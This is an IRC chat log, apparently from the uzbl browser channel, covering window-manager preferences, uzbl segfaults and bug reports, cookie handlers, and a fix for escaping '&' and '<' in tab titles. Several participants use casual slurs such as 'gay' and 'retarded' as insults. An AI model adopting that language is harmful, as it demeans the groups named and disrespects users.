01:53 < rson> cool
01:53 < jrm8005> which is a text editor, but I only use it for mail and Irc.
01:54 < uranther> i had a hard time getting used to the scrolling in acme
01:54 < jrm8005> the thing with the source code in it is Sam, my text editor
01:54 < uranther> err not acme, whatever the term is
01:54 < jrm8005> scrolling?
01:54 < jrm8005> you mean the focus stealing shit?
01:54 < uranther> you live without syntax highlighting?
01:54 < jrm8005> it's weied.
01:54 < jrm8005> syntax highlighting is for pussies.
01:54 < uranther> whats wrong with you
01:54 < jrm8005> I'm not a pussy.
01:55 < uranther> what's that shit at the top?
01:56 < jrm8005> dzen2
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01:56 < jrm8005> left to right, it's window list, radio signal strength, load avg, memory, batt, cpu temp, volume, date, weather report
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01:57 < rson> here's what i've got going on  http://omploader.org/vMXhoYw/2009-07-05-191210_1680x1050_scrot.png
01:57 < uranther> so you use awesome?
01:57 < jrm8005> me?
01:57 < jrm8005> no, rio.
01:57 < uranther> rson, nice
01:57 < uranther> oh yeah, of course
01:58 < uranther> you all would barf if you saw a screenshot from me :)
02:00 < holizz> uranther, Show us!
02:00 < uranther> lol you asked for it!
02:01 < rntz> If I wanted to bind a command to space in uzbl, how would I do it? bind ' ' = foo ?
02:01 < Bram> rntz: binding to space doesn't work
02:01 < rntz> er.
02:02 < rntz> in fact, "bind ' ' = foo" appears to segfault uzbl.
02:03 < uranther> rntz, i might work on that tomorrow or tonight if i'm feeling awesome
02:03 < rntz> hm. bind ' ' = foo in the config file doesn't segfault it. however, using default config, doing ":bind ' ' = foo" causes a segfault.
02:04 < uranther> http://img27.imageshack.us/img27/562/muahahahaha.png
02:04 < rntz> uranther: fix the segfault bug, or add the ability to bind to space?
02:04 < holizz> srsly?
02:04 < uranther> both
02:04 < uranther> binding a space shouldn't be too hard
02:04 < holizz> uranther, GTFO
02:05 < uranther> ahaha
02:05 < rntz> uranther: that would be cool; thanks in advance
02:05 < uranther> rntz, heh, i will try
02:05 < holizz> I take it you're not running uzbl on Windows.
02:05 < scj> uranther: cool ubuntu theme
02:05 < uranther> i do my development in a Xubuntu VM
02:06 < Bram> uranther: is it your girlfriend pc ? I could be a valid excuse
02:06 < Bram> *it
02:06 < uranther> nope
02:07 < scj> omg, someone on the internet prefers a different os than me?! >:(
02:08 < uranther> i'm sure you all will gawk at this, but basically i need my OS to *work* including with the various bullshit software requirements purdue throws at me. I also try to avoid the never-ending configuration trap that is linux
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02:08 < uranther> which btw, apple doesn't make OS X very configurable
02:08 < uranther> is why*
02:09 < uranther> this way, everything works
02:09 < uranther> including linux development (in a VM)
02:09 < uranther> :)
02:09 < scj> I am personally offended and outraged
02:10 < uranther> i know rite
02:10 < scj> this will not stand!
02:10 < uranther> i had Kubuntu w/ KDE 4.2 before this
02:10 < uranther> and it was the biggest piece of junk
02:10 < uranther> i will wait until something more stable
02:11 < jrm8005> uranther: gay.
02:11 < jrm8005> although KDE has been shit.
02:11 < holizz> KDE is full of shiny buttons! Therefore it must be good.
02:11 < jrm8005> lol, and pulsating calendars that can talk to twitter and wipe your ass!
02:12 < uranther> i enjoy the effort they're doing on KDE4
02:12 < uranther> but it's not ready yet
02:13 < holizz> Must .... add ... more ... shiny!
02:13 < jrm8005> when did you last check?
02:13 < holizz> uzbl needs more shiny.
02:13 < jrm8005> my girl uses kde now, it's not too bad
02:13 < uranther> iunno, several months ago
02:13 < uranther> i was gonna at least wait til 4.3
02:14 < jrm8005> idk, it looks pretty good atm
02:14 < uranther> yeah that's what I thought when i tried it in a VM first
02:14 < uranther> then i used it everyday
02:14 < rntz> ":scroll_vert" (ie: invoking scroll_vert sans arguments interactively) also causes a segfault. I think I see a pattern emerging here.
02:14 < jrm8005> meh. I know two people who use it every day.
02:14 < uranther> chain is broken?
02:14 < jrm8005> maybe it's flakey in the vm.
02:15 < uranther> it was fine in the VM.. but i didn't test it very extensively
02:15 < uranther> basically i always had stuff crash, hang, and not have noticeably bugs otherwise
02:15 < jrm8005> idk, I find all desktops to be shit.
02:15 < jrm8005> in decreasing shittiness: KDE -> Gnome -> OS X -> Winblows
02:16 < uranther> I tend to hate Gnome :P
02:16 < jrm8005> But now that I've used rio, I literally cannot use anything else.
02:17 < uranther> what's so great about rio?
02:17 < jrm8005> DEs are all a waste of time, memory, and CPU
02:17 < scj> i like gnome
02:17 < jrm8005> it's stays the fuck out of my way.
02:17 < scj> not that I use it
02:17 < uranther> jrm8005, what's wrong with any other WM like awesome?
02:17 < jrm8005> awesome is written in Lua by and idiot and breaks on every update.
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02:18 < uranther> lol ok, what about dwm?
02:18 < rntz> jrm8005: wmii, dwm, ion, stumpwm, etc?
02:18 < uranther> ratpoison
02:18 < jrm8005> tiling is dumb
02:18 < rntz> jrm8005: ah, so that's your beef
02:19 < jrm8005> I mean, I like tiling in Acme, acme is technically a tiling wm for text editing programs
02:19 < jrm8005> but I have a huge screen.
02:19 < uranther> i think tiling makes sense for a big screen
02:19 < jrm8005> tiling is dumb for that.
02:19 < jrm8005> uranther: you're insane
02:19 < uranther> well a window is only useful maximized to a certan resolution
02:20 < uranther> then it's just empty space
02:20 < uranther> makes sense to me
02:20 < jrm8005> yes, but the thing is, tiling wms force you to make them too big.
02:20 < uranther> ?
02:20 < jrm8005> because you can only effectively have windows that are a certain ratio of the screen size.
02:20 < uranther> says who?
02:21 < jrm8005> so you wind up getting a big, wide browser window, and then your terminals are tiny.
02:21 < rntz> jrm8005: that's factually not the case
02:21 < rntz> you can have windows an arbitrary ratio of the screen size
02:21 < rntz> I feel I am misunderstanding you
02:21 < jrm8005> ok, example: my browser window uses appx 75% of my larger screen
02:22 < jrm8005> you can't fit a terminal next to it.
02:22 < jrm8005> tiling in that case sucks.
02:22 < jrm8005> I want to put the windows where I damn well please, thank you very much.
02:22 < jrm8005> and you can do it with awesome, but you wind up rewriting the whole goddamn wm yourself.
02:23 < jrm8005> which is awesome when Julien decides to cock everything up.
02:23 < rntz> how does non-tiling solve this problem (that with 75% of the screen used, there is not enough for a terminal)?
02:23 < jrm8005> (pun perhaps intended)
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02:23 < jrm8005> rntz: the terminal can just float at whatever size it wants and doesn't have to be continually resized every time I want to bring it to the top.
02:24 < jrm8005> nevermind the fact that I can't put windows in an arbitrary place.
02:24 < jrm8005> tiling wms make me feel like I'm in a box.
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02:24 < jrm8005> they're great for tiny screens.
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02:24 < rntz> jrm8005: well, in many wms you can put the window where you like - there's a floating layer.
02:24 < rntz> er, *in many tiling wms
02:24 < jrm8005> rntz: then what's the point of using a tiling wm if you put everything in the floating layer, hmm?
02:24 < rntz> jrm8005: as for not resizing - what, is resizing terminals an issue?
02:25 < rntz> jrm8005: well, I don't (put everything in the floating layr) :P
02:25 < uranther> jrm8005, so if you don't prefer tiling WMs, then are WMs like fluxbox or fvwm too fancy for you?
02:25 < jrm8005> rntz: it's a waste
02:25 < jrm8005> uranther: yes, they are.
02:25 < uranther> i see
02:25 < jrm8005> besides, I like the way rio works better.
02:25 < jrm8005> it lets me sweep out a window to the size I want.
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02:26 < jrm8005> and has a real text terminal to use, not some piece of garbage that pretends to be a vt100
02:28 < holizz> While I'm enjoying this conversation immensely, it's time for bed.
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03:12 < rntz> if I understand correctly, "$4" in the config file should get replaced by the path to the fifo when the command is executed?
03:12 < rntz> this does not appear to be happening. for example, !reload produces ": $4: ambiguous redirect" on uzbl's stdout and does not reload the config file
03:13 < scj> rntz: you probably have residual fifos from previous segfaulted instances of uzbl. close down all uzbl windows and clear your fifo_dir
03:15 < rntz> scj: d'oh. thanks.
03:17 < rntz> hm. now !reload segfaults.
03:17 < scj> yeah, it does that sometimes
03:18 < rntz> does so consistently for me.
03:18 < rntz> several errors, all but one of the form "Gdk-CRITICAL **: gdk_${some_fun}: assertion `${some_assert}' failed"
03:18 < scj> there is a fix for it, pending merger
03:20 < scj> rntz: http://github.com/holizz/uzbl/commit/b44c7c92a4aca54ee886dc2376d7a0868af223d6 this apparently fixes it
03:22 < rntz> I'll try pulling that, then.
03:29 < rntz> neither cherry-picking that patch nor using holizz' experimental branch solves the problem...
03:30 < scj> :/
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03:31 < rntz> binary searching config files for the error by hand. good times.
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03:36 < rntz> "set status_top = 0" is the offending command
03:37 < rntz> funny, I wonder why it only dies on reload and not on initially reading the command.
03:49 < rntz> http://www.uzbl.org/bugs/index.php?do=details&task_id=63 -- bug filed
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04:20 < Rodya> Does uzbl use any disk caching?
04:24 < bct> nope.
04:25 < Rodya> :D
04:26 < bct> i suspect just because nobody's gotten around to it.
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04:32 < Rodya> Oh boy! segfault
04:33 < rntz> so the pgup/pgdn keys cause uzbl to pageup/pagedown, but I don't see anything regarding that in the config. are there commands to page up/down?
04:38 < bct> pgup/pgdn are handled directly by webkit
04:38 < bct> you can bind other keys to do something similar using scroll_vert
04:39 < rntz> I know about scroll_vert; unfortunately I want "page down" (scroll down by width of the window), not scroll down by fixed amount
04:40 < bct> there's no way to do that yet.
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04:41 < bct> if you really wanted to you could probably use some external program to get the height of the window
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05:03 < joyfulgirl> rntz: pass scroll_vert a percent of the page as an argument
05:04 < joyfulgirl> rntz: eg `scroll_vert 100%' will always scroll the whole height of the window, `scroll_vert 30%' will scroll 30%, etc.
05:08 < rntz> joyfulgirl: thanks!
05:10 < joyfulgirl> np
05:13 < bct> sorry rntz, my mistake :/
05:14 < bct> i've even worked with that section of the code, not sure why i forgot.
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08:16 < ruskie> hmm there seems to be a fuse memfs...
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09:28 < cprussin__> calling all nerds: I have an awesome proposition!
09:28  * cprussin__ is sick of firefox
09:28  * cprussin__ has to use windows at work
09:28 < cprussin__> who wants to help me try to port uzbl to windows?
09:32 < scj> have you tried building it with cygwin?
09:32 < mxey> Have you tried turning if off and on again?
09:39 < cprussin__> scj: I can build in cygwin, sure
09:39 < cprussin__> but I don't want to have to run it in cygwin
09:40 < cprussin__> X in cygwin is notoriously slow... I'd rather build against the gtk+ and webkit windows releases
09:40 < cprussin__> but idk if that's possible...
09:40 < cprussin__> mxey: what do you mean, the computer?
09:41 < mxey> cprussin__: It's just the classic quote from The IT Crowd.
09:41 < cprussin__> ha
09:41 < cprussin__> got ya
09:41 < cprussin__> thought that was what you were getting at, but I couldn't tell if you were being serious or not
09:41 < mxey> I mostly find it boring, but this time it just fit in.
09:41 < MichaelRaskin> tightVNC-Linux + tightVNC Windows viewer
09:41 < MichaelRaskin> And no problem with X
09:42 < mxey> http://www.fefe.de/nowindows/
09:42 < cprussin__> MichaelRaskin: still have a layer of abstraction that I'd rather avoid
09:42 < cprussin__> mxey: while I agree, I'm required by my job to use windows
09:43 < mxey> Change jobs?
09:44 < mxey> A friend of mine quitted his admin job when they started migrating to Windows.
09:44 < cprussin__> internship with a very well-respected international company ;)
09:44 < cprussin__> I'd be pretty stupid to not take it
09:44 < cprussin__> though it's only for the summer
09:45 < mxey> If you only care about you working for the right people ("well-respected") instead of with the right tools..
09:45 < cprussin__> mxey: I'm in college
09:45 < cprussin__> I was offered a very impressive internship
09:45 < cprussin__> it's a temporary job
09:45 < mxey> I got that.
09:45 < cprussin__> how would it be intelligent for me to turn it down over windows?
09:46 < cprussin__> thats like sacraficing my career over 3 months of using annoying software
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09:46 < mxey> That is your choice. How do you know that your career will not be based on Windows?
09:47 < cprussin__> because I refuse to take a long-term job in it
09:47 < cprussin__> I'm doing this to open my opportunities so I won't be restricted to only a few choices
09:47  * mxey is doing an his apprenticeship at an IT service company doing mosty Linux stuff.
09:47 < cprussin__> engineering
09:47 < cprussin__> not IT
09:48 < mxey> I see.
09:48 < cprussin__> yeah
09:48 < cprussin__> unfortunately, they're a bit behind the IT crowd
09:48 < mxey> Hm?
09:48 < MichaelRaskin> cprussin__, when I did programming in Windows while being a Linux user, I installed coLinux and tightVNC on Windows and tightVNC on Linux partition.
09:48 < cprussin__> MichaelRaskin: problem is, I don't have permission to partition the disk
09:49 < MichaelRaskin> Can you at least defragment it?
09:49 < cprussin__> nor do I have ssh or any other form of remote connectivity besides http and https
09:49 < cprussin__> yeah, I could do that
09:49 < MichaelRaskin> Image files work well.
09:49 < cprussin__> and they're fast?
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09:50 < MichaelRaskin> Performance hit of a loopback block device is not big if its random reads are as good as direct random reads
09:50 < cprussin__> idk, I feel like running tightVNC just for uzbl kinda defeats the purpose of using uzbl
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09:55 < MichaelRaskin> So use coLinux more..
09:57 < cprussin__> not familar with it
09:57 < cprussin__> reading up on it now
09:58 < cprussin__> god dammit
09:58 < cprussin__> no install rights
09:58 < cprussin__> they took away my damn install rights
09:58 < cprussin__> GOD i hate big companies
10:00  * scj rages against the machine
10:01 < cprussin__> I'm gonna listen to "Welcome to the Machine" just to reinforce my dislike
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10:40 < Dieterbe> good morning bitches
10:40 < Dieterbe>  cprussin__> calling all nerds: I have an awesome proposition! cprussin__> who wants to help me try to port uzbl to windows? <-- crappiest proposition ever !
10:41 < cprussin__> Dieterbe: haha, I was trying to get some excitement so maybe, just maybe, I wouldn't have to use ALL crap software here
10:41 < Dieterbe> proposing to develop for windows is definitely not how to get us excited :/
10:41 < cprussin__> yeah I know
10:41 < cprussin__> :-/
10:42 < cprussin__> trust me, I'm no more thrilled about windows than anyone else here, I just have to use it
10:42 < cprussin__> for the next month and a half at least
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10:51 < MichaelRaskin> Maybe you can talk them into loading kqemu driver?
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10:59 < scj> or just tough it out
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11:11 < bob_f> Yup, just use firefox for 6 weeks. By the time you get uzbl ported and stable it'll probably be time to go back to unix anyway.
11:12 < bob_f> I don't imagine uzbl would be particularly popular on Windows. :)
11:13 < Dieterbe> hey it's a windows user.. why not run uzbl in "seamless integration" mode with $proprietary_overpriced_virtualisation_solution
11:17 < bob_f> Yeah ! Enterprise uzbl !
11:19 < holizz> Well you _could_ use the open source version of uzbl, or you could buy our uzbl Enterprise Edition 2.
11:20 < Dieterbe> i want to buy one, now !
11:20 < Dieterbe> is it on DVD or cd-rom?
11:21 < holizz> The installer comes on Blu-ray.
11:23 < ruskie> the program on hddvd ;)
11:23 < ruskie> need to split it naturally ;)
11:24 < holizz> And if you want the ability to go backwards and forwards, you'll have to buy that at the AppStore.
11:24 < holizz> And key bindings cost 10EUR each.
11:28 < dsg> So, is there any way to configure the middle button bind?
11:28 < dsg> Or customise the link right-click menu with script actions?
11:29 < ruskie> don't think it is possible yet(ever?)
11:29 < kw-> is uzbl crashing for someone else as well when hitting the arrow button at wikipedia.org?
11:29 < ruskie> what arrow button?
11:30 < holizz> dsg, It should be possible in the future. Just not yet.
11:30 < ruskie> doesn't crash here
11:30 < dsg> holizz: Ok, thanks. :)
11:30 < kw-> interesting
11:31 < holizz> kw-, The arrow button works fine here.
11:31 < kw-> weird. vimpression segfaults as well.
11:31 < cprussin__> haha
11:31 < ruskie> maybe it's just you
11:32 < kw-> well, likely. but i wonder why that's happening. i do have the newest webkit and gtk...
11:32 < cprussin__> I guess you guys are right, I'll be back at *nix before I even get it ported over
11:34 < kw-> holizz, ruskie: which webkit version do you have?
11:35 < holizz> 1.1.10
11:35 < scj> what arrow button?
11:35 < holizz> scj: On http://wikipedia.org/
11:36 < ruskie> 1.1.10
11:36 < kw-> ok, thanks
11:36 < holizz> kw-, And you?
11:37 < scj> oh, I haven't visited the http://wikipedia.org portal in ages
11:37 < kw-> also 1.1.10
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11:40 < rob|_> morning.
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11:40 < teeps1> Hi, quick question
11:41 < teeps1> is there any plans to implement a count style command system for uzbl like in vim
11:41 < teeps1> eg '2b' would go back 2 pages
11:42 < Dieterbe> no
11:42 < dsg> Hm, uzbl is slower than firefox on a page with many animated gifs.
11:42 < teeps1> ok thanks
11:42 < dsg> Is there an option to turn off GIF animation?
11:43 < Dieterbe> dsg: the problem is the cookie handler
11:43 < dsg> Dieterbe: Ah, it's invoked for every object fetched?
11:44 < Bram> dsg: there isn't any coockie handler :p
11:44 < dsg> Ok, I saw some alternative cookie handlers posted on the mailing list, will try those. :)
11:45 < ruskie> dsg, or just disable the one
11:45 < Dieterbe> dsg: yes, and won't help much
11:45 < ruskie> and it will use the in-memory one
11:45 < ruskie> you lose persistence but it should be faster probably
11:46 < cprussin__> ruskie: it is
11:46 < cprussin__> I use no cookie handler right now, it's much faster
11:46 < ruskie> I plan on implementing mine with a ram backed storage until session end(last uzbl instance quit)
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11:47 < cprussin__> (much in a very relative sense)
11:47 < ruskie> then store encrypted
11:47 < cprussin__> I generally avoid cookies altogether, unless absolutely required by some site
11:47 < ruskie> yup
11:47 < ruskie> same here
11:47 < ruskie> hence why by default mine will block all unless I whitelist them
11:47 < cprussin__> hey, is there any text-based web browser that can use the same cookie, history, etc scripts as uzbl?
11:48 < ruskie> and it won't store any rejections
11:48 < cprussin__> ruskie: mind forwarding me a copy when you get it working ;)?
11:48 < cprussin__> that sounds like exactly what I want
11:49 < dsg> Same results with no cookie handler unfortunately. Xorg goes to ~70% CPU
11:49 < dsg> Bram: Yeah, I know, I'm using the cookies.py thing that came with the examples
11:49 < dsg> On a page with, say, 60-70 small animated GIF icons
11:50 < ruskie> cprussin__, yeah I'll let the world know about it
11:50 < cprussin__> dsg: haha, why would anyone develop pages with 60+ animated GIFs?
11:50 < dsg> ruskie: Interesting... so there is a default non-persistent cookie handler builtin?
11:50 < ruskie> yup
11:50 < cprussin__> course it has to be working for those cases, but that's a bit excessive for 2009 lol
11:51 < cprussin__> ruskie: you mean it's shipped w/uzbl?
11:51 < cprussin__> I didn't see it...
11:51 < ruskie> ??? it's not yet anywhere
11:51 < cprussin__> ahh
11:51 < cprussin__> I thought you were saying that you have it with the uzbl git repo
11:51 < ruskie> naahh
11:51 < cprussin__> you should
11:51 < ruskie> takes me a while to write stuff up since I think about how to implement something a lot ;)
11:51 < cprussin__> looks like it already has a 3+ person fanbase
11:52 < cprussin__> best way to develop
11:53 < Bram> cprussin__: http://jaimelegif.com/ here it is
11:53 < Bram> infinite gif page \o/
11:53 < cprussin__> oh... my... god...
11:54  * cprussin__ explodes from sensory overload
11:54 < dsg> cprussin__: It's part of xymon (a network monitoring system). See for example http://www.xymon.com/hobbit/hosteddomains/hosteddomains.html (but with a much, much larger host list)
11:54 < cprussin__> ah, I see
11:55 < scj> that gif of chekov jumping and the rest of the TOS crew cheering and clapping is pretty awesome
11:56 < cprussin__> I'm a fan of the one right below
11:57 < scj> just look how goddamn happy mccoy is!
11:57 < cprussin__> haha, reminds me of when /b/ cracked the national epeleptic website
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12:05 < dsg> And I agree, it's insane :)
12:06 < bob_f> dsg: Work is being done to fix this.
12:07 < bob_f> dsg: I've already written a daemon, and it seems to work well (for me, at least, though it's not "complete" yet), but it still needs to fork a shell script (better than forking a python script though).
12:07 < bob_f> I'm trying to find the time to work on it but it's proving difficult right now. Got other priorities unfortunately.
12:10 < Dieterbe> and i still need to review the code :o
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12:58 < Bram> http://www.youtube.com/watch?v=Wo-gGes6qig
12:58 < Bram> this movie looks fabulous
13:00 < cprussin__> woooooooowwwwww
13:04 < scj> holy crap, I need to see that. machine girl was amazing
13:04 < holizz> scj: I found one torrent of Machine Girl, but it was dubbed so I had to delete it.
13:05 < scj> you don't really need to get the story, because it's totally retarded
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13:05 < scj> and it probably doesn't make that much sense if you understand the dialog
13:05 < scj> much more*
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13:48 < kw-> holizz: (again, my previous problem) do you have a 64bit OS? a friend of mine has the same problems and we both have 64bit...
13:49 < holizz> kw-, Nope. I'm all x86.
13:50 < kw-> ok, thanks
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15:18 < neldoreth> hello - http://bbs.archlinux.org/viewtopic.php?id=70700&p=17 concerning this problem, ive compiled the libwebkit package with gcc 4.3 which solves this problem - you can download it here if you like: http://omploader.org/vMXhrZg
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15:40 < N30N> neldoreth: I thougth rolling back gcc would fix it but been to busy to test (and it doesn't want to compile with icc), thx for letting us/me know :)
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17:57 < ukl> hello. How come "going backwards" in history ("back" as bound to "b") takes so long? (that is, reloads the page)
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18:02 < ukl> another issue I'm struggling with... When I start uzbl from a terminal, "u" and "U" work (load_url_from*.sh as in the example config) while starting it via keybindings of my WM (i3), it has no effect. unfortunately I don't know how I could possibly debug this issue as running "uzbl -v" from terminal does work, while running it via keybinding leaves me without any special output...
18:03 < bct> ukl, i'm not sure. iirc uzbl does some caching, but it might still go back to the page every time to check that the cache is fresh. i'm pretty sure it doesn't cache the rendered page, like some browsers do
18:07 < bct> you can set verbose = 1 in your config, that should carry over to new instances
18:07 < scj> ukl: you could make your wm launch uzbl with "uzbl -v >> /tmp/uzbl_debug"
18:08 < scj> but my guess is that your wm doesn't export the XDG_* env variables
18:10 < scj> try changing expanding the paths in your config file
18:10 < scj> -changing
18:11 < ukl> scj: I already changed XDG_* to $HOME/.config/uzbl/
18:12 < ukl> but I'll just try your other hint
18:14 < holizz> ukl: XDG_CONFIG_HOME=/home/holizz/.config
18:14 < ukl> oh. interesting....
18:14 < holizz> Without the uzbl/
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18:15 < ukl> holizz: thanks, I wasn't that exact in my statement above, I changed all paths to the right ones, left out all XDG-vars
18:15 < ukl> but what's interesting is this, the verbose output when uzbl is launched by the WM contains no errors (but also nothing happens)
18:15 < ukl> therefore the problem must be with the load_url*-scripts themselves. just checking them, probably containing XDG-stuff was well...
18:16 < ukl> right. probably that's the issue, was my .bashrc sets the XDG-vars, the WM doesn't set anything....
18:16 < ukl> thanks for your help.
18:17 < scj> i was right! for once..
18:18 < ukl> yes, I just thougth of the vars in ~/.config/uzbl/config, nowhere else ;)
18:18 < ukl> s/th/ht/
18:18 < dxdx> htoughht
18:19 < ukl> exactly.
18:19 < dxdx> lol
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21:32 < N30N> sure could do with a way to set request headers (besides the useragent)
21:36 < bct> did you have one in particular in mind?
21:37 < N30N> Accept-Language and Accept-Encoding
21:37 < bct> uzbl only supports Accept-Encoding: identity anyways
21:38 < bct> but yeah, that would be nice.
21:40 < N30N> oh how come (identity only)?
21:40 < bct> that's all that libsoup supports
21:40 < N30N> oh right
21:41 < bct> there's supposedly a libsoup branch or patchset that implements gzip and maybe others, idk.
21:43 < bct> it would be pretty easy to add configuration for static headers
21:44 < bct> i'm not sure whether or not it would be useful to have an external script setting header values
21:45 < uranther> it's kind of disappointing that libsoup isn't more mature
21:45 < bct> a pre_request_handler would work
21:45 < bct> could even replace the cookie handler if there was a post_request_handler too.
21:46 < bct> but maybe that's getting too general.
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01:18 < Rodya> I found a bug in uzbl_tabbed.py where the tab listing (not the gtk tabs, just the text tabs) freezes up (you can keep interacting just fine, but it no longer updates) which is caused when the title of a tab gets set to some string with an '&' in it, the fix being to replace any '&' with "&amp;"... I wrote a simple hack to fix it for me, but it only would work on a title with a single '&' in it so its not really correct
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01:25 < Cheeseum> it's pango being silly
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01:32 < Rodya> More specifically, the problem appears to be because of '& ', as pango interprets '&' as the beginning of an attribute or some such and ' ' isn't legal for the name, but its mostly irrelevant I think as all '&' should be replaced with &amp; to fix it still
01:36 < bct> < should probably be replaced with &lt;
01:37 < bct> other characters should be ok, though.
01:39 < Rodya> I can give fixing it more correctly a shot, but who do I send it to and what do I send?
01:43 < bct> i think the recent work on it has been mostly lazzareth_
01:43 < bct> (don't quote me on that though)
01:44 < bct> and most people around here are using github for sharing their repos, but i'm sure a plain patch would be ok.
01:45 < bct> it looks like all you need to do is a string replacement on tabtitle on line 974
01:45 < bct> but i don't use uzbl_tabbed.py, so i don't know :D
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01:46 < Rodya> bct that's pretty much all it'd need
01:46 < Rodya> which is why i don't mind doing it lol
01:46 < Cheeseum> it does the same thing on some foreign characters claiming invalid UTF-8
01:46 < Cheeseum> despite them rendering fine on the page
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01:48 < Rodya> I can look into that as well a bit, do you have any links to pages I can test with for that?
01:48 < bct> http://annevankesteren.nl/2004/05/unicode
01:48 < bct> is the canonical example :)
01:49 < bct> i guess that's still pretty latin1, maybe http://hi.wikipedia.org/ or something.
01:50 < bct> page title's really messed up on hindi wikipedia for me, might be my wm though
01:51 < Cheeseum> http://zh-yue.wikipedia.org/wiki/Template_talk:你知唔知
01:51 < Rodya> bct, it displays the title fine for me, though uzbl ends up crashing on hi.wikipedia.org with a segfault o_O
01:51 < bct> ouch
01:52 < Rodya> Cheeseum, same as with bct's example, displayed fine and then crashed
01:52 < bct> on the main page or while browsing?
01:52 < Rodya> while loading that very uri
01:52 < Rodya> never actually saw the page lol
01:53 < Rodya> Though, I think that's an unrelated problem as I don't see any python complaints
01:53 < Cheeseum> it's that darn segfault problem
01:53 < bct> hmm. both work ok for me (i don't see any txt on the chinese page though)
01:53 < Cheeseum> with libwebkit
01:53 < Cheeseum> segfaults on wikipedia and some other sites
01:55 < Rodya> http://imgur.com/B1EFG.jpg Cheeseum's uri
01:55 < bct> that is a bad thing.
01:56 < bct> haha, i didn't know we had that icon
01:56 < Rodya> If I stop it before it loads all the way I can see it lol
01:56 < bct> so cute
01:57 < scj> Cheeseum: 64 bit os?
01:57 < Cheeseum> there's a temporary fix here that works http://bbs.archlinux.org/viewtopic.php?pid=579535#p579535
01:57 < Cheeseum> yeah 64-bit
01:58 < Cheeseum> going to try that recompile with gcc 4.3 that I just found out about now
01:58 < Rodya> Oh, so its the javascript that is killing it?
01:59 < scj> seems like the ones that have segfault issues with wikipedia are using 64b
01:59 < Rodya> Aye, I am as well
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02:01 < scj> oh, N30N already pointed that out in that post
02:02 < bct> weird, i'd be surprised if wp had any intensive js
02:02 < Rodya> I wonder why they have any at all =/
02:02 < bct> the editor uses it
02:02 < scj> web two oh man
02:02  * Rodya gags
02:03 < bct> but outside of that, yeah. no reason. http://bbs.archlinux.org/viewtopic.php?pid=579535#p579535
02:03 < bct> damn paste button.
02:03 < bct> oh are we on the backlash phase of that hype cycle already? thank god.
02:04 < scj> lets consult reddit!
02:05 < bct> reddit was better when it was dominated by lispers.
02:05 < Rodya> Well hell, I managed to get the &, < thing fixed for all the regular sites I browse, but for the sake of being a perfectionist, I did a google test with lots of &s and <s and it broke again
02:05 < bct> now it's just digg with longer comments.
02:05 < Rodya> ah, its because I'm retarded
02:06 < Rodya> appears to have fixed that then
02:10 < Rodya> Cheeseum, http://scentric.net/tutorial/sec-treeview-col-utf8-pango.html seems to indicate that it might be that your unicode problem is related to the text being sent as something other than unicode to pango... are you certain your system is configured for utf8 correctly?
02:12 < Cheeseum> I'm fairly certain
02:13 < Rodya> Do you have any other pages where the tab titles break that I can try?
02:16 < Cheeseum> my youtube favorites are filled with them yeah http://www.youtube.com/watch?v=lI27HV6S1Js
02:18 < Rodya> http://imgur.com/HBBq8.jpg =/
02:18 < Rodya> i'd like to help, but it seems to work for me
02:19 < scj> I think I have found a solution
02:19 < scj> stop watching anime shit on yt
02:19  * Rodya watches it with mplayer >.>
02:20 < bct> how do you extract the url rodya?
02:20 < Rodya> what do you mean?
02:21 < Cheeseum> I'll try updating pango
02:22 < Rodya> Are you talking about in uzbl_tabbed.py bct?
02:25 < bct> no, for watching youtube stuff in mplayer
02:26 < bct> i've been using clive to download the video and then play it locally, but it would be nice to stream it instead
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02:27 < scj> bct: youtube-dl
02:28 < scj> mplayer $(youtube-dl -g $url)
02:28 < Rodya> I just go to one of those youtube download sites and copy the url it gives me and tell mplayer that
02:28 < Rodya> scj's way is nicer, though
02:29 < scj> speaking of, someone should make a flv url fetcher. using gnash or something to load the swf player and return the url that it tries to connect to
02:30 < scj> so it would work on pretty much all video sites
02:30 < Rodya> It may be pointless effort, if websites that use flash players all start switching over to <video>
02:31 < bct> i can't remember why i switched from youtube-dl
02:31 < bct> does it do other sites too?
02:31 < scj> don't think so
02:31 < bct> ah, that's probably why then
02:31 < bct> clive does google video and others
02:32 < bct> i'll believe that sites will switch to <video> when i see it.
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02:37 < Rodya> bct, http://www.youtube.com/html5 looks like youtube is working toward it, but the page doesn't work for me lol
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02:39 < bct> interesting
02:39 < bct> console message: http://www.youtube.com/demo/demo.js @264: Error: INVALID_STATE_ERR: DOM Exception 11
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02:40 < Rodya> I tried it in firefox 3.5 and got nowhere, though html5 <video> stuff worked on thevideobay, so i'm not sure what's going on there
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02:42 < bct> i've even got gstreamer enabled for webkit.
02:42 < bct> oh well.
02:50 < Bram_> is there a way to escape all non definyed key in the conf file ? this will prevent me from destroying my esc key
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04:12 < Rodya> Is there a way to set the number of concurrent connections (alternatively, are there concurrent connections)?
04:17 < jrm8005> Rodya: yeah, IIRC. Look at the example config.
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04:18 < Rodya> jrm8005, ah, I see it now, thanks
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05:20 < temoto> Hello guys. I want to wine and help about uzbl.org website.
05:23 < temoto> First, wining. I don't see why you need PHP there. Site seems static to me, git updates on main page can be included with SSI. And www.uzbl.org/community.php (last 4 chars) urls look ugly. You could use mod_rewrite to hide .php part.
05:25 < temoto> Second, on community page, URLs to bugtracker and git repos are not links, which sucks. Please, change <li>http://www.uzbl.org/bugs/</li> to <li><a href="http://www.uzbl.org/bugs/">www.uzbl.org/bugs/</a></li> and other links. I can write patch against your website sources if there are any.
05:27 < temoto> Making usable website for "usable browser" seems essential to me.
05:28 < temoto> Devs, thanks for great effort. Browser compiling in 2 seconds is something really interesting.
05:34 < lazzareth_> Rodya, Hey
05:35 < lazzareth_> I'm alive and ready to help
05:35 < lazzareth_> I see you found a bug in uzbl_tabbed.py
05:36 < Rodya> lazzareth_, aye, which i seem to have fixed on my system
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05:39 < Rodya> When going to websites with a '& ' in the title, the text tab listing broke (gtk tabs aren't bothered), so I just did tabtitle = tabtitle.replace('&',"&amp;") on line 987
05:40 < Rodya> I did the same to change '<' into &lt; because someone else in here said that could cause trouble myself
05:40 < lazzareth_> Rodya, Its good that you found that out. but that also applies to titles that have <>'s in the title also.
05:40 < lazzareth_> Yeah
05:41 < lazzareth_> But I am trying to find an importable module that can do the escaping for me. If not I'll just implement it as you have done above.
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05:41 < Rodya> it might actually be faster to do it by hand in a loop, I figure str.replace for a single character takes O(n) and doing it twice on a lot of tabs could be slow, and you could condense it into one loop fairly easily
05:42 < Rodya> But I'm not terribly familiar with python's string and set functions
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05:43 < lazzareth_> I just hope I'm not missing anything by only replacing "<>&"'s
